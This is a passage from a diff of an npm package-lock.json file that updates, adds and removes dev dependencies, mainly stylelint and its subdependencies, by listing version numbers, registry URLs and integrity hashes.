"dev": true, - "requires": { - "ms": "2.1.2" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - }, "readable-stream": { "version": "3.6.0", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", @@ -13245,162 +11875,86 @@ "integrity": "sha512-1klA3Gi5PD1Wv9Q0wUoOQN1IWAuPu0D1U03ThXTr0cJ20+/iq2tHSDnK7Kk/0LXJ1ztUB2/1Os0wKmfyNgUQfg==", "dev": true }, - "split-string": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/split-string/-/split-string-3.1.0.tgz", - "integrity": "sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==", - "dev": true, - "optional": true, - "requires": { - "extend-shallow": "^3.0.0" - } - }, "sprintf-js": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=", "dev": true }, - "static-extend": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/static-extend/-/static-extend-0.1.2.tgz", - "integrity": "sha1-YICcOcv/VTNyJv1eC1IPNB8ftcY=", - "dev": true, - "optional": true, - "requires": { - "define-property": "^0.2.5", - "object-copy": "^0.1.0" - }, - "dependencies": { - "define-property": { - "version": "0.2.5", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", - "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", - "dev": true, - "optional": true, - "requires": { - "is-descriptor": "^0.1.0" - } - } - } - }, "statuses": { "version": "1.5.0", "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz", "integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=", "dev": true }, + "string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "requires": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "dependencies": { + "ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true + }, + "emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true + }, + "strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "requires": { + "ansi-regex": "^5.0.1" + } + } + } + }, "string.prototype.matchall": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.4.tgz", - "integrity": "sha512-pknFIWVachNcyqRfaQSeu/FUfpvJTe4uskUSZ9Wc1RijsPuzbZ8TyYT8WCNnntCjUEqQ3vUHMAfVj2+wLAisPQ==", + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.6.tgz", + "integrity": "sha512-6WgDX8HmQqvEd7J+G6VtAahhsQIssiZ8zl7zKh1VDMFyL3hRTJP4FTNA3RbIp2TOQ9AYNDcc7e3fH0Qbup+DBg==", "dev": true, "requires": { "call-bind": "^1.0.2", "define-properties": "^1.1.3", - "es-abstract": "^1.18.0-next.2", - "has-symbols": "^1.0.1", + "es-abstract": "^1.19.1", + "get-intrinsic": "^1.1.1", + "has-symbols": "^1.0.2", "internal-slot": "^1.0.3", "regexp.prototype.flags": "^1.3.1", "side-channel": "^1.0.4" - }, - "dependencies": { - "es-abstract": { - "version": "1.18.0", - "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.18.0.tgz", - "integrity": "sha512-LJzK7MrQa8TS0ja2w3YNLzUgJCGPdPOV1yVvezjNnS89D+VR08+Szt2mz3YB2Dck/+w5tfIq/RoUAFqJJGM2yw==", - "dev": true, - "requires": { - "call-bind": "^1.0.2", - "es-to-primitive": "^1.2.1", - "function-bind": "^1.1.1", - "get-intrinsic": "^1.1.1", - "has": "^1.0.3", - "has-symbols": "^1.0.2", - "is-callable": "^1.2.3", - "is-negative-zero": "^2.0.1", - "is-regex": "^1.1.2", - "is-string": "^1.0.5", - "object-inspect": "^1.9.0", - "object-keys": "^1.1.1", - "object.assign": "^4.1.2", - "string.prototype.trimend": "^1.0.4", - "string.prototype.trimstart": "^1.0.4", - "unbox-primitive": "^1.0.0" - }, - "dependencies": { - "has-symbols": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", - "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==", - "dev": true - } - } - }, - "is-callable": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.3.tgz", - "integrity": "sha512-J1DcMe8UYTBSrKezuIUTUwjXsho29693unXM2YhJUTR2txK/eG47bvNa/wipPFmZFgr/N6f1GA66dv0mEyTIyQ==", - "dev": true - }, - "is-regex": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.2.tgz", - "integrity": "sha512-axvdhb5pdhEVThqJzYXwMlVuZwC+FF2DpcOhTS+y/8jVq4trxyPgfcwIxIKiyeuLlSQYKkmUaPQJ8ZE4yNKXDg==", - "dev": true, - "requires": { - "call-bind": "^1.0.2", - "has-symbols": "^1.0.1" - } - }, - "object-inspect": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.9.0.tgz", - "integrity": "sha512-i3Bp9iTqwhaLZBxGkRfo5ZbE07BQRT7MGu8+nNgwW9ItGp1TzCTw2DLEoWwjClxBjOFI/hWljTAmYGCEwmtnOw==", - "dev": true - }, - "object.assign": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz", - "integrity": "sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==", - "dev": true, - "requires": { - "call-bind": "^1.0.0", - "define-properties": "^1.1.3", - "has-symbols": "^1.0.1", - "object-keys": "^1.1.1" - } - }, - "regexp.prototype.flags": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.3.1.tgz", - "integrity": "sha512-JiBdRBq91WlY7uRJ0ds7R+dU02i6LKi8r3BuQhNXn+kmeLN+EfHhfjqMRis1zJxnlu88hq/4dx0P2OP3APRTOA==", - "dev": true, - "requires": { - "call-bind": "^1.0.2", - "define-properties": "^1.1.3" - } - }, - "string.prototype.trimend": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.4.tgz", - "integrity": "sha512-y9xCjw1P23Awk8EvTpcyL2NIr1j7wJ39f+k6lvRnSMz+mz9CGz9NYPelDk42kOz6+ql8xjfK8oYzy3jAP5QU5A==", - "dev": true, - "requires": { - "call-bind": "^1.0.2", - "define-properties": "^1.1.3" - } - }, - "string.prototype.trimstart": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.4.tgz", - "integrity": "sha512-jh6e984OBfvxS50tdY2nRZnoC5/mLFKOREQfw8t5yytkoUsJRNxvI/E39qu1sD0OtWI3OC0XgKSmcWwziwYuZw==", - "dev": true, - "requires": { - "call-bind": "^1.0.2", - "define-properties": "^1.1.3" - } - } + } + }, + "string.prototype.trimend": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.4.tgz", + "integrity": "sha512-y9xCjw1P23Awk8EvTpcyL2NIr1j7wJ39f+k6lvRnSMz+mz9CGz9NYPelDk42kOz6+ql8xjfK8oYzy3jAP5QU5A==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + } + }, + "string.prototype.trimstart": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.4.tgz", + "integrity": "sha512-jh6e984OBfvxS50tdY2nRZnoC5/mLFKOREQfw8t5yytkoUsJRNxvI/E39qu1sD0OtWI3OC0XgKSmcWwziwYuZw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" } }, "string_decoder": { @@ -13427,6 +11981,15 @@ "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==", "dev": true }, + "strip-indent": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz", + "integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==", + "dev": true, + "requires": { + "min-indent": "^1.0.0" + } + }, "strip-json-comments": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.0.tgz", @@ -13462,16 +12025,16 @@ "dev": true }, "stylelint": { - "version": "13.12.0", - "resolved": "https://registry.npmjs.org/stylelint/-/stylelint-13.12.0.tgz", - "integrity": "sha512-P8O1xDy41B7O7iXaSlW+UuFbE5+ZWQDb61ndGDxKIt36fMH50DtlQTbwLpFLf8DikceTAb3r6nPrRv30wBlzXw==", + "version": "13.13.1", + "resolved": "https://registry.npmjs.org/stylelint/-/stylelint-13.13.1.tgz", + "integrity": "sha512-Mv+BQr5XTUrKqAXmpqm6Ddli6Ief+AiPZkRsIrAoUKFuq/ElkUh9ZMYxXD0iQNZ5ADghZKLOWz1h7hTClB7zgQ==", "dev": true, "requires": { "@stylelint/postcss-css-in-js": "^0.37.2", "@stylelint/postcss-markdown": "^0.36.2", "autoprefixer": "^9.8.6", - "balanced-match": "^1.0.0", - "chalk": "^4.1.0", + "balanced-match": "^2.0.0", + "chalk": "^4.1.1", "cosmiconfig": "^7.0.0", "debug": "^4.3.1", "execall": "^2.0.0", @@ -13480,7 +12043,7 @@ "file-entry-cache": "^6.0.1", "get-stdin": "^8.0.0", "global-modules": "^2.0.0", - "globby": "^11.0.2", + "globby": "^11.0.3", "globjoin": "^0.1.4", "html-tags": "^3.1.0", "ignore": "^5.1.8", @@ -13488,10 +12051,10 @@ "imurmurhash": "^0.1.4", "known-css-properties": "^0.21.0", "lodash": "^4.17.21", - "log-symbols": "^4.0.0", + "log-symbols": "^4.1.0", "mathml-tag-names": "^2.1.3", "meow": "^9.0.0", - "micromatch": "^4.0.2", + "micromatch": "^4.0.4", "normalize-selector": "^0.2.0", "postcss": "^7.0.35", "postcss-html": "^0.36.0", @@ -13501,7 +12064,7 @@ "postcss-safe-parser": "^4.0.2", "postcss-sass": "^0.4.4", "postcss-scss": "^2.1.1", - "postcss-selector-parser": "^6.0.4", + "postcss-selector-parser": "^6.0.5", "postcss-syntax": "^0.36.2", "postcss-value-parser": "^4.1.0", "resolve-from": "^5.0.0", @@ -13512,15 +12075,15 @@ "style-search": "^0.1.0", "sugarss": "^2.0.0", "svg-tags": "^1.0.0", - "table": "^6.0.7", - "v8-compile-cache": "^2.2.0", + "table": "^6.6.0", + "v8-compile-cache": "^2.3.0", "write-file-atomic": "^3.0.3" }, "dependencies": { "ajv": { - "version": "8.1.0", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.1.0.tgz", - "integrity": "sha512-B/Sk2Ix7A36fs/ZkuGLIR86EdjbgR6fsAcbx9lOP/QBSXujDNbVmIS/U4Itz5k8fPFDeVZl/zQ/gJW4Jrq6XjQ==", + "version": "8.6.3", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.6.3.tgz", + "integrity": "sha512-SMJOdDP6LqTkD0Uq8qLi+gMwSt0imXLSV080qFVwJCpH9U6Mb+SUGHAXM0KNbcBPguytWyvFxcHgMLe2D2XSpw==", "dev": true, "requires": { "fast-deep-equal": "^3.1.1", @@ -13550,36 +12113,16 @@ "integrity": "sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ==", "dev": true }, - "braces": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", - "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", - "dev": true, - "requires": { - "fill-range": "^7.0.1" - } - }, - "camelcase": { - "version": "5.3.1", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", - "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "balanced-match": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-2.0.0.tgz", + "integrity": "sha512-1ugUSr8BHXRnK23KfuYS+gVMC3LB8QGH9W1iGtDPsNWoQbgtXSExkBu2aDR4epiGWZOjZsj6lDl/N/AqqTC3UA==", "dev": true }, - "camelcase-keys": { - "version": "6.2.2", - "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-6.2.2.tgz", - "integrity": "sha512-YrwaA0vEKazPBkn0ipTiMpSajYDSe+KjQfrjhcBMxJt/znbvlHd8Pw/Vamaz5EB4Wfhs3SUR3Z9mwRu/P3s3Yg==", - "dev": true, - "requires": { - "camelcase": "^5.3.1", - "map-obj": "^4.0.0", - "quick-lru": "^4.0.1" - } - }, "chalk": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", - "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", "dev": true, "requires": { "ansi-styles": "^4.1.0", @@ -13602,9 +12145,9 @@ "dev": true }, "cosmiconfig": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-7.0.0.tgz", - "integrity": "sha512-pondGvTuVYDk++upghXJabWzL6Kxu6f26ljFw64Swq9v6sQPUL3EUlVDV56diOjpCayKihL6hVe8exIACU4XcA==", + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-7.0.1.tgz", + "integrity": "sha512-a1YWNUV2HwGimB7dU2s1wUMurNKjpx60HxBB6xUM8Re+2s1g1IIfJvFR0/iCF+XHdE0GMTKTuLR32UQff4TEyQ==", "dev": true, "requires": { "@types/parse-json": "^4.0.0", @@ -13614,21 +12157,6 @@ "yaml": "^1.10.0" } }, - "debug": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", - "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", - "dev": true, - "requires": { - "ms": "2.1.2" - } - }, - "emoji-regex": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", - "dev": true - }, "file-entry-cache": { "version": "6.0.1", "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz", @@ -13638,25 +12166,6 @@ "flat-cache": "^3.0.4" } }, - "fill-range": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", - "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", - "dev": true, - "requires": { - "to-regex-range": "^5.0.1" - } - }, - "find-up": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", - "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", - "dev": true, - "requires": { - "locate-path": "^5.0.0", - "path-exists": "^4.0.0" - } - }, "flat-cache": { "version": "3.0.4", "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.0.4.tgz", @@ -13668,15 +12177,9 @@ } }, "flatted": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.1.1.tgz", - "integrity": "sha512-zAoAQiudy+r5SvnSw3KJy5os/oRJYHzrzja/tBDqrZtNhUw8bt6y8OBzMWcjWr+8liV8Eb6yOhw8WZ7VFZ5ZzA==", - "dev": true - }, - "get-stdin": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-8.0.0.tgz", - "integrity": "sha512-sY22aA6xchAzprjyqmSEQv4UbAAzRN0L2dQB0NlN5acTTK9Don6nhoc3eAbUnpZiCANAMfd/+40kVdKfFygohg==", + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.2.2.tgz", + "integrity": "sha512-JaTY/wtrcSyvXJl4IMFHPKyFur1sE9AUqc0QnhOaJ0CxHtAoIV8pYDzeEfAaNEtGkOfq4gr3LBFmdXW5mOQFnA==", "dev": true }, "has-flag": { @@ -13685,231 +12188,26 @@ "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", "dev": true }, - "hosted-git-info": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.0.2.tgz", - "integrity": "sha512-c9OGXbZ3guC/xOlCg1Ci/VgWlwsqDv1yMQL1CWqXDL0hDjXuNcq0zuR4xqPSuasI3kqFDhqSyTjREz5gzq0fXg==", - "dev": true, - "requires": { - "lru-cache": "^6.0.0" - } - }, "ignore": { "version": "5.1.8", "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.1.8.tgz", "integrity": "sha512-BMpfD7PpiETpBl/A6S498BaIJ6Y/ABT93ETbby2fP00v4EbvPBXWEoaR1UBPKs3iR53pJY7EtZk5KACI57i1Uw==", "dev": true }, - "import-lazy": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/import-lazy/-/import-lazy-4.0.0.tgz", - "integrity": "sha512-rKtvo6a868b5Hu3heneU+L4yEQ4jYKLtjpnPeUdK7h0yzXGmyBTypknlkCvHFBqfX9YlorEiMM6Dnq/5atfHkw==", - "dev": true - }, - "indent-string": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", - "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", - "dev": true - }, - "is-fullwidth-code-point": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", - "dev": true - }, - "is-number": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", - "dev": true - }, "json-schema-traverse": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", "dev": true }, - "locate-path": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", - "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "postcss-selector-parser": { + "version": "6.0.6", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.6.tgz", + "integrity": "sha512-9LXrvaaX3+mcv5xkg5kFwqSzSH1JIObIx51PrndZwlmznwXRfxMddDvo9gve3gVR8ZTKgoFDdWkbRFmEhT4PMg==", "dev": true, "requires": { - "p-locate": "^4.1.0" - } - }, - "lodash": { - "version": "4.17.21", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", - "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==", - "dev": true - }, - "lru-cache": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", - "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", - "dev": true, - "requires": { - "yallist": "^4.0.0" - } - }, - "map-obj": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-4.2.1.tgz", - "integrity": "sha512-+WA2/1sPmDj1dlvvJmB5G6JKfY9dpn7EVBUL06+y6PoljPkh+6V1QihwxNkbcGxCRjt2b0F9K0taiCuo7MbdFQ==", - "dev": true - }, - "meow": { - "version": "9.0.0", - "resolved": "https://registry.npmjs.org/meow/-/meow-9.0.0.tgz", - "integrity": "sha512-+obSblOQmRhcyBt62furQqRAQpNyWXo8BuQ5bN7dG8wmwQ+vwHKp/rCFD4CrTP8CsDQD1sjoZ94K417XEUk8IQ==", - "dev": true, - "requires": { - "@types/minimist": "^1.2.0", - "camelcase-keys": "^6.2.2", - "decamelize": "^1.2.0", - "decamelize-keys": "^1.1.0", - "hard-rejection": "^2.1.0", - "minimist-options": "4.1.0", - "normalize-package-data": "^3.0.0", - "read-pkg-up": "^7.0.1", - "redent": "^3.0.0", - "trim-newlines": "^3.0.0", - "type-fest": "^0.18.0", - "yargs-parser": "^20.2.3" - } - }, - "micromatch": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", - "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", - "dev": true, - "requires": { - "braces": "^3.0.1", - "picomatch": "^2.2.3" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - }, - "normalize-package-data": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-3.0.2.tgz", - "integrity": "sha512-6CdZocmfGaKnIHPVFhJJZ3GuR8SsLKvDANFp47Jmy51aKIr8akjAWTSxtpI+MBgBFdSMRyo4hMpDlT6dTffgZg==", - "dev": true, - "requires": { - "hosted-git-info": "^4.0.1", - "resolve": "^1.20.0", - "semver": "^7.3.4", - "validate-npm-package-license": "^3.0.1" - } - }, - "p-locate": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", - "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", - "dev": true, - "requires": { - "p-limit": "^2.2.0" - } - }, - "path-exists": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", - "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", - "dev": true - }, - "quick-lru": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-4.0.1.tgz", - "integrity": "sha512-ARhCpm70fzdcvNQfPoy49IaanKkTlRWF2JMzqhcJbhSFRZv7nPTvZJdcY7301IPmvW+/p0RgIWnQDLJxifsQ7g==", - "dev": true - }, - "read-pkg": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-5.2.0.tgz", - "integrity": "sha512-Ug69mNOpfvKDAc2Q8DRpMjjzdtrnv9HcSMX+4VsZxD1aZ6ZzrIE7rlzXBtWTyhULSMKg076AW6WR5iZpD0JiOg==", - "dev": true, - "requires": { - "@types/normalize-package-data": "^2.4.0", - "normalize-package-data": "^2.5.0", - "parse-json": "^5.0.0", - "type-fest": "^0.6.0" - }, - "dependencies": { - "hosted-git-info": { - "version": "2.8.9", - "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.9.tgz", - "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==", - "dev": true - }, - "normalize-package-data": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz", - "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==", - "dev": true, - "requires": { - "hosted-git-info": "^2.1.4", - "resolve": "^1.10.0", - "semver": "2 || 3 || 4 || 5", - "validate-npm-package-license": "^3.0.1" - } - }, - "semver": { - "version": "5.7.1", - "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", - "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", - "dev": true - }, - "type-fest": { - "version": "0.6.0", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.6.0.tgz", - "integrity": "sha512-q+MB8nYR1KDLrgr4G5yemftpMC7/QLqVndBmEEdqzmNj5dcFOO4Oo8qlwZE3ULT3+Zim1F8Kq4cBnikNhlCMlg==", - "dev": true - } - } - }, - "read-pkg-up": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-7.0.1.tgz", - "integrity": "sha512-zK0TB7Xd6JpCLmlLmufqykGE+/TlOePD6qKClNW7hHDKFh/J7/7gCWGR7joEQEW1bKq3a3yUZSObOoWLFQ4ohg==", - "dev": true, - "requires": { - "find-up": "^4.1.0", - "read-pkg": "^5.2.0", - "type-fest": "^0.8.1" - }, - "dependencies": { - "type-fest": { - "version": "0.8.1", - "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz", - "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==", - "dev": true - } - } - }, - "redent": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/redent/-/redent-3.0.0.tgz", - "integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==", - "dev": true, - "requires": { - "indent-string": "^4.0.0", - "strip-indent": "^3.0.0" - } - }, - "resolve": { - "version": "1.20.0", - 